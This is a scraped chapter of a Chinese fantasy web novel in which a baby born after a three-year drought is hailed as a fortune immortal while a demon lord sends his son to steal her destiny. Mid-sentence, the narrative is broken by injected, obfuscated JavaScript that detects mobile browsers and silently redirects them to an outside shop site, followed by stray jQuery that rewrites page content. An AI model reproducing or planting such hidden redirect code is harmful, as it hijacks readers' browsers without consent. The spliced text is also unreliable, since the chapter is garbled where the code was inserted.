文趣网 > 都市小说 > 仙煞渡 > 1. 大旱三年,血色祥瑞
    青溪镇,已经枯了整整三年。

    这不是寻常的季节性干旱,而是横贯三州、波及千里百年不遇的大旱,自三年前惊蛰那一声闷雷落空后,整片天地便像是被抽走了所有水汽,烈日高悬苍穹,日复一日地炙烤着大地,滚烫的风卷着黄沙,吹过每一寸干裂的土地,留下满目疮痍。

    镇外的良田早已变成龟裂的荒漠,土地裂开一道道巴掌宽、深不见底的缝隙,原本肥沃的黑土被晒成了灰白色的碎末,别说种出庄稼,就连最耐旱的野草,都难寻一根绿意。溪水断流,井水干涸,镇上百余户人家,每日天不亮就要背着木桶,跋涉十几里山路,去山涧仅剩的一汪浊泉边取水,稍有迟缓,便只能空手而归,家家户户的水缸,永远都是见底的状态。

    往日里炊烟袅袅、鸡犬相闻的小镇,如今被一片死寂与绝望笼罩。孩童们饿得面黄肌瘦,趴在门口,连哭闹的力气都没有;大人们面色枯槁,眼神麻木,每日除了寻水,便是望着灰蒙蒙的天空祈祷,可那所谓的苍天,从未有过半分怜悯。

    更可怕的是,干旱带来的不止是饥荒,还有邪祟。

    天地间灵气紊乱,怨气、煞气肆意滋生,山林里的野兽失了心性,化作妖物,时常下山侵扰村镇,夜里总能听到凄厉的兽吼与百姓的哭喊声,不少人家遭了劫难,家破人亡。镇上的猎户们自发组成护村队,拿着简陋的刀叉抵御,可凡夫俗子,又怎能敌过沾染了妖气的猛兽,不过半月,护村队便折损了大半,剩下的人,也只能守着家门瑟瑟发抖,再不敢轻易踏出镇子半步。

    镇东头的林家,日子更是难熬。

    林家男人叫林老实,是个本分的庄稼汉,妻子王氏也是勤恳温顺的妇人,夫妻俩成婚多年,好不容易才盼来一个孩子,如今王氏挺着八个月的孕肚,本就身形虚弱,又遇上这灾年,每日只能啃着干涩的树皮草根果腹,连一口像样的稀粥都喝不上,脸色苍白得像纸,随时都可能倒下。

    屋内陈设简陋,只有一张破旧的木床,一张缺了腿的桌子,墙角堆着仅剩的、掺着沙土的粗粮,那是夫妻俩省了又省,留给腹中孩子最后的口粮。林老实坐在门槛上,黝黑的脸上布满愁容,粗糙的手掌紧紧攥着,指节突起,望着屋外漫天黄沙,重重地叹了口气。

    “当家的,你说……这日子什么时候是个头啊?”屋内传来王氏虚弱的声音,她捂着高高隆起的肚子,眉头紧蹙,脸上满是痛苦与担忧,“要是孩子这时候降生,咱们连一口奶水都供不上,可怎么活……”

    林老实回过头,看着妻子憔悴的模样,心里揪着疼,却只能强装镇定:“别怕,总会有办法的,我明天再去山里找找,说不定能找到野果,实在不行,我就算是拼了这条命,也得让你和孩子活下去。”

    话虽如此,可他自己心里清楚,深山里如今妖物横行,去了便是九死一生,这偌大的天地,早已没了寻常百姓的活路。

    就在这时,原本高悬天际、毒辣刺眼的太阳,突然微微一暗。

    原本滚烫的风,莫名变得柔和了几分,空气中弥漫的燥热与煞气,竟像是被无形的力量驱散了些许。趴在门口的孩童们抬起头,懵懂的眼睛望着天空,露出了茫然的神色。

    林老实也察觉到了异样,猛地站起身,抬头望向苍穹。

    只见原本万里无云的晴空,不知何时,飘来一朵极致纯净的白云,那云朵不大,却透着温润的光晕,缓缓飘至青溪镇的上空,缓缓散开。紧接着,一丝丝清凉的水汽,凭空出现在空气中,沁人心脾,驱散了萦绕在小镇上空的燥热与阴霾。

    下一秒,一滴晶莹的雨滴,从云端坠落,轻轻砸在干裂的土地上。

    一滴,两滴,三滴……

    起初只是稀疏的雨滴,渐渐变得密集,最终化作一场温润的细雨,洋洋洒洒地落在青溪镇的每一个角落。

    雨水清凉,带着淡淡的灵气,落在干涸的土地上,瞬间便被吸收,那些龟裂的缝隙,竟以肉眼可见的速度,慢慢愈合;落在枯黄的草木上,枯枝败叶之下,悄然探出点点绿意;落在百姓的脸上、身上,洗去了他们满身的尘土与疲惫,更抚平了他们心中积压已久的绝望。

    “下雨了!真的下雨了!”

    不知是谁率先喊出了声,原本死寂的小镇瞬间沸腾起来。

    百姓们纷纷冲出家门,仰着头,任由雨水打湿自己的衣衫,他们欢呼着,呐喊着,甚至跪在地上,对着天空不住地磕头,泪水混合着雨水滑落,三年的煎熬与苦难,在这场甘霖落下的瞬间,终于有了一丝慰藉。

    林老实呆呆地站在原地,任凭雨水打湿衣衫,浑浊的眼中满是难以置信,他猛地冲进屋内,扶住激动得浑身发抖的王氏:“娘子,下雨了!天降甘霖,咱们青溪镇,有救了!”

    王氏泪流满面,紧紧抓着丈夫的手,感受着窗外透进来的清凉,心中满是感恩。

    可谁也没有发现,在这场甘霖落下的同一时刻,王氏腹中的孩子,突然动了。

    一股极致温润、纯净至极的气运,从天地间汇聚而来,悄然涌入林家屋内,包裹住王氏的小腹,那气运浓郁得近乎实质,透着淡淡的金光,却又藏着一丝极淡极淡的血色纹路,隐秘地印在孩子的眉心之处。

    伴随着最后一滴雨水落地,一声清脆响亮的婴儿啼哭,骤然从林家屋内响起,划破了青溪镇的上空。

    “哇——”

    哭声清亮,带着一股莫名的力量,传遍了整个小镇。

    原本还在欢呼的百姓们,瞬间安静下来,纷纷朝着林家的方向望去。

    雨停了。

    阳光重新洒落,却不再毒辣,变得温暖和煦,空气中弥漫着泥土的清香与草木的气息,干涸的井水重新涌出清泉,枯萎的花草渐渐复苏,就连山林里的妖物煞气,也彻底消散不见,仿佛从未出现过。

    短短半个时辰,青溪镇从地狱般的绝境,重回生机。

    “是林家娘子生了!是这个孩子降生,才引来了甘霖!”

    不知是谁反应过来,一声惊呼,瞬间点醒了所有人。

    百姓们你看我,我看你,眼中都充满了震惊与敬畏,紧接着,纷纷朝着林家涌去。

    天降大旱三年,孩子降生便甘霖普降,万物复苏,这哪里是普通的孩子,这分明是上天降下的福星,是福仙转世啊!

    “福仙!这是福仙下凡啊!”

    “多亏了这个孩子,咱们青溪镇才得以活命,这是咱们全镇的恩人!”

    人群沸腾,敬畏与感恩之情溢于言表,林老实抱着刚刚降生的女婴,看着怀中孩子粉嫩的脸庞,感受着体内流淌的温润气息,整个人都懵了,他从未想过,自己的孩子,竟是这样的祥瑞之命。

    女婴安静地躺在母亲怀中,闭着眼睛,小眉头舒展,眉心处那一丝极淡的血色纹路,隐藏在肌肤之下,无人察觉。她周身萦绕着淡淡的福运,触碰之人,都能感受到一股暖意,心中的烦躁与不安尽数消散。

    可没人知道,这场看似天赐的祥瑞,从来都不是恩赐,而是一场早已注定的阴谋。

    九天之上,天道意志悄然注视着人间,目光落在女婴身上,带着冰冷的算计。这所谓的福仙命格,不过是天道精心培育的祭品,待到命格成熟之日,便是献祭之时,用这纯净的福仙气运,稳固天道秩序,而这孩子,终将沦为天道的牺牲品。

    与此同时,千里之外的魔域深处,一座巍峨磅礴、煞气滔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597658|205595||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    天的宫殿内,一道身着玄色长袍的身影,缓缓睁开了双眼。

    男子面容冷峻,周身萦绕着浓郁的天煞煞气,举手投足间,尽显魔尊威严,正是魔宗之主,万煞君。他望着青溪镇的方向,深邃的眼眸中,闪过一丝洞悉,嘴角勾起一抹冰冷的弧度。

    “福仙命格,天道祭品……好一个天道,又一场算计。”

    他轻声自语,声音透着无尽的寒意,指尖微动,一道隐秘的魔气,瞬间划破虚空,朝着人间而去。

    “张乾。”

    一声低唤,在空旷的宫殿中响起。

    殿外,一道少年身影应声而入,步伐沉稳,身姿挺拔,虽年纪尚轻,却周身煞气内敛,眼神冰冷锐利,没有半分少年人的青涩,唯有与年龄不符的沉稳与狠厉。

    少年便是万煞君独子,魔宗少主,张乾。

    他自出生便身负天煞孤星命格,命犯极煞,克亲克友,万物遇之则枯,力量强悍却也饱受煞气反噬之苦,自幼在魔域厮杀长大,心性冷硬,从无半分私情。

    “父亲。”张乾躬身行礼,声音平静无波。

    “青溪镇,降生了一个福仙命格的女婴。”万煞君望着他,语气淡漠,却带着不容置疑的命令,“你即刻下山,前往青溪镇,潜伏在那女婴身边,待时机成熟,夺取她的福仙命格,为父要借这命格,打破天道束缚,逆天改命。”

    天煞与福仙,本是两极,福煞相融,既能颠覆天地,亦可吞噬彼此。

    天道想以福仙为祭,而他万煞君,却要夺这祭品,与天抗衡。

    张乾抬眸,冰冷的眼眸中没有丝毫波澜,对于夺取他人命格、甚至害人性命之事,他早已习以为常,在这弱肉强食的世界,唯有力量才是真理,所谓慈悲,不过是弱者的借口。

    “孩儿遵命。”

    没有多问,没有迟疑,张乾躬身领命,转身便要离去。

    “切记。”万煞君的声音再次响起,带着严厉的警告,“此女命格特殊,与你天煞相辅相成,切勿动私情,更不可心软,你的使命,只有夺取命格,若敢违抗,煞气反噬,魂飞魄散,休怪为父无情。”

    他深知自己这个儿子,虽心性冷硬,却从未经历过人间温情,他怕张乾在人间迷失,坏了他的大计。

    张乾脚步未停,声音淡漠传来:“孩儿明白。”

    话音落,身影已然消失在宫殿之中,化作一道煞气,朝着青溪镇的方向疾驰而去。

    他的目标很明确,接近那个所谓的福仙女婴,伺机夺取命格,完成父亲交代的任务,除此之外,再无其他。

    而此时的青溪镇,依旧沉浸在天降祥瑞的喜悦之中,林家女婴是福仙转世的消息,如同长了翅膀一般,迅速传遍了周边村镇,越来越多的人赶来朝拜,林家一夜之间,从寻常农户,变成了全镇乃至周边百姓敬畏的对象。

    林老实给女儿取名灵汐,希望她一生灵动安康,如溪水般纯净顺遂。

    他抱着灵汐,接受着众人的朝拜,脸上满是自豪,却不知,这份从天而降的福运,这份万众敬仰的荣耀,终将化作困住女儿一生的枷锁,让她一步步,落入天道布下的献祭深渊。

    一场围绕着福仙命格的阴谋,已然拉开序幕。

    天道的算计,魔宗的觊觎,仙门的窥探,还有那奔赴而来的天煞少年,宿命的齿轮,在灵汐降生的这一刻,悄然转动。

    天煞遇福仙,是宿命的纠缠,还是生死的对决?

    无人知晓。

    唯有青溪镇的阳光,依旧温暖,洒在灵汐恬静的小脸上,也洒在即将抵达小镇、周身煞气凛冽的少年身影之上,两种极致相悖的气息,即将在这座小镇,迎来第一次宿命的相遇。